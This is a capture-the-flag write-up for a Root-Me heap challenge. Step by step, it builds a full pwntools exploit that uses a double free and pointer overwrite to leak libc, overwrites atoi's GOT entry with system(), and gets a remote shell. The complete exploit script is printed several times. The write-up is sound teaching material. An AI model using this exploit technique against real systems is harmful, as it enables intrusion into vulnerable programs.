###Solving a Heap exploitation challenge ![]()
In the name of Allah, the most beneficent, the most merciful.
-
Thanks to @_py and @n0tnu11 who encouraged me, to write about such thing..
-
I want to say sorry, cause i donât write alot more articles, you know guys, studies
.. -
It wasnât easy for me to solve this challenge, took me alot of testing, almost two days.
-
Hello everyone to this article..
-
For learning purposes

-
Challenge is only solved by 35, was 26 when i finished it!
Before we start, letâs take a look at the informations given on the binary and what kind of protections are ON..
Oh yeah, the following protections are ON:
ASLR
NX
SSP
PARTIAL RELRO
Awesome, a perfect target, to start our heap exploitation adventure!
We have also, the source code, and the binary is given!
- Better find a music to listen to:
- I will listen to this!
Awesome, let me first run my VM machine, and then download the binary from the server!
Great, we now, should take a look at the source given, and try to make a plan for the attack..
We have 3 functions that seem important:
- creation() to allocate..
- change() to edit..
- delete() to free..
- show() to show information..
Awesome, so now letâs take a look at the functions.. ![]()
struct entry *creation() {
char name[64];
struct entry *e;
e = (struct entry *) malloc(sizeof(struct entry));
printf("Name: ");
fgets(name, NAME_LEN_MAX, stdin);
name[strlen(name)-1] = 0;
e->name = malloc(strlen(name));
strcpy(e->name, name);
printf("Age: ");
fgets(name,6,stdin);
e->age = atoi(name);
return e;
}
Uhmm, it will allocate 2 chunks, one built on the struct of entry..
Keep in mind that the struct of entry looks like this:
struct entry {
int age;
char *name;
};
- So, in the first allocated chunk there will be stored the age, and a pointer to next chunk, where name will be stored!
Great!
Now letâs see the delete function!
void delete(int i) {
free(directory[i]->name);
free(directory[i]);
}
- It will free the chunk containing the age and pointer to name, and the next chunk that contains the name!
The show() function:
void show(int i) {
printf("[%d] %s, %d years old\n", i, directory[i]->name, directory[i]->age);
}
- Seems like it will print information about one chunk we choose!
- May lead to some kind of leak, if we controlled the *name..
And the change() function!
void change(int e) {
char name[64];
printf("New name: ");
fgets(name, strlen(directory[e]->name)+1, stdin);
name[strlen(name)] = 0;
strcpy(directory[e]->name, name);
printf("New age: ");
fgets(name, 6, stdin);
directory[e]->age = atoi(name);
}
- It will strcpy our first input to directory[e]->name, and the second input will be put in age!
- Thereâs seems to be an offbyone bug there, may allow us to change the size of the next chunk..
- We can overwrite arbitrary address if we controlled *name..
Questions that come to our head now!
- How can we overwrite the *name?
Well, this is the real problem, we should become creative..
Letâs start the program, and start analysing memory!
When we start it, we get this menu..

Letâs start it again, but this time, using GDB, to analyse memory, and see our chunks..
- gdb ch44 -q

Awesome, letâs now create a new entry!

Great, now letâs take a look at memory, we will look at &directory!
- Ctrl + C to interrupt the execution and write c in gdb so it continues executing again!
![]()
Alright, letâs see &directory!

Awesome, so the first entry is here: 0x605010!
Letâs take a look at whatâs in this area!

Great!
The structure of the chunk looks like as we said before!
( size + age + *name + prev_size + size + name + junk.. + wilderness )
Awesome, letâs start writing the functions in our exploit.py
#!/usr/bin/python
from pwn import *
# PROCESS
c = process("./ch44")
# FUNCTIONS
def allocate( nm, age ):
c.sendline('1')
c.recvuntil(': ')
c.sendline( nm )
c.recvuntil(': ')
c.sendline( str(age) )
c.recvuntil('>')
def free( id ):
c.sendline('2')
c.recvuntil(': ')
c.sendline(str(id))
c.recvuntil('>')
def view( id ):
c.sendline('4')
c.recvuntil('[' + str(id) + '] ')
name = c.recvuntil(', ')[:-2]
age = c.recvuntil(' years')[:-6]
c.recvuntil('>')
return name, age
def edit( id, name, age ):
c.sendline('3')
c.recvuntil(': ')
c.sendline( str(id) )
c.recvuntil(': ')
c.sendline( name )
c.recvuntil(': ')
c.sendline( str(age) )
c.recvuntil('>')
# ATTACH
pause()
# EXPLOIT
# INTERACTIVE
c.interactive()
Seems awesome, now we can start writing our exploit!
- We will mostly modify the EXPLOIT part

letâs start by allocating some chunks, letâs say 4 chunks..
What size of each chunk will we choose ?
- After analysing a bit and trying different chunk sizes, iâll choose 56, cause we can control all the chunk with that size, allowing us to overwrite the next chunk size with the offbyone we saw before!
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
allocate( 'D'*56, 15 )
Letâs run the exploit now, and attach it to GDB!
- Now, we should write continue ( c ) in gdb and then press enter in the other terminal, where the exploit.py is running ( pause() )!
- After doing that, the four chunks will be allocated, and we will use CTRL + C in gdb again and then examine them in memory!

Great, all seems working just great!
What if we now free some chunks what will happen?
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
allocate( 'D'*56, 15 )
free(2)
free(1)
- Alright letâs run the exploit again, and see how the chunks look like now!

- We can see that the FD of chunk 1 was set to the prev_size of chunk 2..
- So now, what do we have?
- We have 4 free chunks.. letâs try and allocate something that will fit the chunk with 0x21 in size..

- HELL YEAH!
- So, this maybe can help us, but not in this situation..
- Cause chunk 1 entry looks like this:
![]()
- Where 0x20690d0 is where chunk 2 entry starts..
- Then itâs considered as a name..

- Keep this in mind, it may help us later..
- And since this way wonât help us alot now, letâs try and become more creative..
- When we free a chunk, it will be placed in a free_list, then when we allocate a chunk it will placed there if the size fits it!
So when we free chunk 1 then chunk 2 Free_list will look like this :
±------------------------±------------------------+
- ////////CHUNK1/////// + ////////CHUNK2/////// +
±------------------------±------------------------+
Then, when the next allocation happens, the first chunk to be filled is the last free()'d which is chunk2..
But what if we freeâd chunk2 two times, if we did it directly a crash occurs!
- We can free chunk2 then chunk1 then chunk2 again, and this will prevent the crash from happening ( double free )âŠ
- And free_list will look like this.. chunk2 â chunk1 â NULL
Awesome, letâs try that!
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
allocate( 'D'*56, 15 )
free(2)
free(1)
free(2)
And it worked, what if allocated another chunk of same size ( 56 ) now ?
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
allocate( 'D'*56, 15 )
free(2)
free(1)
free(2)
allocate( 'E'*56, 15 )

- Uhmm, everything seems normal, letâs examine memory and see how &directory looks like!

- Oh yeah, so we got two different index in directory that point to the same to the same area!
- So, if we free()'d one of them, we will have some kind of heapleak..
- We will try free()'ing chunk2 since itâs the last one that got filled and chunk1 is now on top of free_list, free()'ing it will result in a crash!
- Oh no! we ended up in a crash while freeing both, letâs try changing the exploit a bit to fit that!
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
free(2)
free(1)
free(2)
allocate( 'D'*56, 15 )
free(2)
- Now that, seems just PERFECT!

- And here we gooo!
- We got a heap_leak, but thatâs not what we are looking for, we should get a libc_leak!
- Remember the bug we found but didnât use, that let us overwrite the *name, weâll try using it now..
- We got to find a way to overwrite the *name of a chunk thatâs in-use!
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
free(2)
free(1)
free(2)
allocate( 'D'*56, 15 )
free(2)
allocate( 'A'*16, 15 )
- Nothing happens here, so letâs free chunk 0, and allocate twice..
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
free(2)
free(1)
free(2)
allocate( 'D'*56, 15 )
free(2)
free(0)
allocate( 'A'*16, 15 )
allocate( 'A'*16, 15 )
- What, we got sigsegv when we tried to print entries!

- Seems weird, the first guess is that it tried reading from address 0x4141414141414141.
- Which is overwritten name pointer in chunk2!
- Letâs examine in GDB to make sure!

- And yeah, it treated the AAAAAAAA as a PTR!
- Letâs see now what we can do!
- We will add a part in exploit.py!
# ENTRIES
free_got = 0x602018
We will also write a little function to return the address in littleendian.. since p64() didnât put the address correctly in this example..
def revaddr(addr):
h = hex(addr)[2:]
t = ""
for i in xrange(len(h) - 2, -2, -2):
m = i + 2
t += chr(int(h[i:m], 16))
return t
And then letâs comeback to exploit part and edit our exploit making the *name point to free_got!
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
free(2)
free(1)
free(2)
allocate( 'D'*56, 15 )
free(2)
free(0)
allocate( 'A'*8, 15 )
allocate( 'A'*8 + revaddr(free_got), 15 )
- Awesome, now letâs try showing entries!

- Perfect, now we got a libc_leak!
- We are going to use view() function to store the leak!
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
free(2)
free(1)
free(2)
allocate( 'D'*56, 15 )
free(2)
free(0)
allocate( 'A'*8, 15 )
allocate( 'A'*8 + revaddr(free_got), 15 )
name, age = view(1)
leak = u64(name.ljust(8, '\x00'))
print 'free() @ ' + hex(leak)
- I prefer changing atoi_got since itâs an easier and more guaranteed way to get shell!
int choice(int min, int max, char * chaine) {
int i;
char buf[6];
i = -1;
while( (i < min) || (i > max)) {
printf("%s", chaine);
fgets(buf, 5, stdin);
i = atoi(buf); // HERE
}
return i ;
}
- Great, now we know where atoi actually is, letâs calculate where libc_base will be!
- Iâll use GDB!
- Using vmmap i got libc_base, and we leaked the address of atoi_got!
- Letâs calculate atoi_got - libc_base and system - libc_base!
- Great, letâs create a new part in exploit.py
# DIFF LOCAL
libcdiff = 0x34260
sysdiff = 0x3f460
Letâs now make use of them in the exploit part!
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
free(2)
free(1)
free(2)
allocate( 'D'*56, 15 )
free(2)
free(0)
allocate( 'A'*8, 15 )
allocate( 'A'*8 + revaddr(atoi_got), 15 )
name, age = view(1)
leak = u64(name.ljust(8, '\x00'))
libc_base = leak - libcdiff
system = libc_base + sysdiff
print 'libc_base @ ' + hex(libc_base)
print 'system() @' + hex(system)
- Letâs test the exploit and see where we going!

- Great! now, letâs use the change() function that we spoke about, and change the content of atoi_got to system!
- So in the end the exploit part will become the following!
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
free(2)
free(1)
free(2)
allocate( 'D'*56, 15 )
free(2)
free(0)
allocate( 'A'*8, 15 )
allocate( 'A'*8 + revaddr(atoi_got), 15 )
name, age = view(1)
leak = u64(name.ljust(8, '\x00'))
libc_base = leak - libcdiff
system = libc_base + sysdiff
print 'libc_base @ ' + hex(libc_base)
print 'system() @' + hex(system)
edit( 1, p64(system), 'sh\x00' )
- Alright letâs run the exploit now!

- Awesome, we got our shell, but thatâs in local only..
- Letâs first collect all parts in our current exploit.py!
#!/usr/bin/python
from pwn import *
# ENTRIES
atoi_got = 0x602078
# PROCESS
c = process("./ch44")
# DIFF LOCAL
libcdiff = 0x34260
sysdiff = 0x3f460
# FUNCTIONS
def allocate( nm, age ):
c.sendline('1')
c.recvuntil(': ')
c.sendline( nm )
c.recvuntil(': ')
c.sendline( str(age) )
c.recvuntil('>')
def free( id ):
c.sendline('2')
c.recvuntil(': ')
c.sendline(str(id))
c.recvuntil('>')
def view( id ):
c.sendline('4')
c.recvuntil('[' + str(id) + '] ')
name = c.recvuntil(', ')[:-2]
age = c.recvuntil(' years')[:-6]
c.recvuntil('>')
return name, age
def edit( id, name, age ):
c.sendline('3')
c.recvuntil(': ')
c.sendline( str(id) )
c.recvuntil(': ')
c.sendline( name )
c.recvuntil(': ')
c.sendline( str(age) )
c.recvuntil('>')
def revaddr(addr):
h = hex(addr)[2:]
t = ""
for i in xrange(len(h) - 2, -2, -2):
m = i + 2
t += chr(int(h[i:m], 16))
return t
# ATTACH
pause()
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
free(2)
free(1)
free(2)
allocate( 'D'*56, 15 )
free(2)
free(0)
allocate( 'A'*8, 15 )
allocate( 'A'*8 + revaddr(atoi_got), 15 )
name, age = view(1)
leak = u64(name.ljust(8, '\x00'))
libc_base = leak - libcdiff
system = libc_base + sysdiff
print 'libc_base @ ' + hex(libc_base)
print 'system() @' + hex(system)
edit( 1, p64(system), 'sh\x00' )
# INTERACTIVE
c.interactive()
- Letâs connect to the server and see the libc used!
- Weâll run the program using gdb then break using CTRL + C then:

- So the libc is located at : /lib/x86_64-linux-gnu/libc.so.6
- Iâll download it, and iâll use libcdatabase tool:
- then weâll use libcdatabase â ./add libc.so.6
- We got everything we need, except atoi!

- We will now edit a part in exploit.py!
# DIFF REMOTE
libcdiff = 0x39ea0
sysdiff = 0x46590
- And we will also set c to remote!
# REMOTE
c = remote( 'challenge03.root-me.org', 56544 )
- The full exploit now looks like this:
#!/usr/bin/python
from pwn import *
# ENTRIES
atoi_got = 0x602078
# REMOTE
c = remote( 'challenge03.root-me.org', 56544 )
# DIFF REMOTE
libcdiff = 0x39ea0
sysdiff = 0x46590
# FUNCTIONS
def allocate( nm, age ):
c.sendline('1')
c.recvuntil(': ')
c.sendline( nm )
c.recvuntil(': ')
c.sendline( str(age) )
c.recvuntil('>')
def free( id ):
c.sendline('2')
c.recvuntil(': ')
c.sendline(str(id))
c.recvuntil('>')
def view( id ):
c.sendline('4')
c.recvuntil('[' + str(id) + '] ')
name = c.recvuntil(', ')[:-2]
age = c.recvuntil(' years')[:-6]
c.recvuntil('>')
return name, age
def edit( id, name, age ):
c.sendline('3')
c.recvuntil(': ')
c.sendline( str(id) )
c.recvuntil(': ')
c.sendline( name )
c.recvuntil(': ')
c.sendline( str(age) )
c.recvuntil('>')
def revaddr(addr):
h = hex(addr)[2:]
t = ""
for i in xrange(len(h) - 2, -2, -2):
m = i + 2
t += chr(int(h[i:m], 16))
return t
# ATTACH
pause()
# EXPLOIT
allocate( 'A'*56, 15 )
allocate( 'B'*56, 15 )
allocate( 'C'*56, 15 )
free(2)
free(1)
free(2)
allocate( 'D'*56, 15 )
free(2)
free(0)
allocate( 'A'*8, 15 )
allocate( 'A'*8 + revaddr(atoi_got), 15 )
name, age = view(1)
leak = u64(name.ljust(8, '\x00'))
libc_base = leak - libcdiff
system = libc_base + sysdiff
print 'libc_base @ ' + hex(libc_base)
print 'system() @' + hex(system)
edit( 1, p64(system), 'sh\x00' )
# INTERACTIVE
c.interactive()
- Letâs now run the exploit and see the result..
- And we got our shell!
- Hope you enjoyed, and learned too!

- See you all in next article

~ exploit






